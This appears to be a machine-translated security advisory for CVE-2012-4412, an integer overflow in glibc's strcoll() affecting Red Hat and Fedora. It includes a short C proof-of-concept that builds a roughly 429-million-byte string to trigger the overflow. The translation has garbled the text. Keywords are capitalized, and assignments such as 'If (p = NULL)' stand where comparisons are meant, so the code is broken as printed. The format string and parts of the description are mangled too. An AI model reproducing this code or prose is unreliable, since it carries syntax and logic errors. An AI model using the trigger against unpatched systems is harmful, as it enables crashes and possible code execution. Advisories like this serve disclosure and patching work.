GNU glibc 'strcoll () 'Integer Overflow Vulnerability

Release date: 2012-09-07
Updated on:

Affected Systems:
RedHat Enterprise Linux 6
RedHat Enterprise Linux 5.0
RedHat Fedora 17
RedHat Fedora 16
Description:
--------------------------------------------------------------------------------
Bugtraq id: 55462
Cve id: CVE-2012-4412

Glibc is the implementation of C libraries in most Linux operating systems.

The GNU glibc 'strcoll () 'function has a remote integer overflow vulnerability that can cause buffer overflow. Successful exploitation allows attackers to execute arbitrary code in applications using the affected database.

<* Source: Jan iankko Lieskovsky
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

# Include <locale. h>
# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>

# Define SIZE 429496730

Int
Main (void)
{
Char * p = malloc (1 + SIZE );
If (setlocale (LC_COLLATE, "en_GB.UTF-8") = NULL)
{
Puts ("setlocale failed, cannot test for overflow ");
Return 0;
}
If (p = NULL)
{
Puts ("malloc failed, cannot test for overflow ");
Return 0;
}
Memset (p, 'x', SIZE );
P [SIZE] = 0;
Printf ("% d \ n", strcoll (p, p ));
Return 0;
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

RedHat
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.redhat.com/apps/support/errata/index.html

Glibc details: click here
Glibc: click here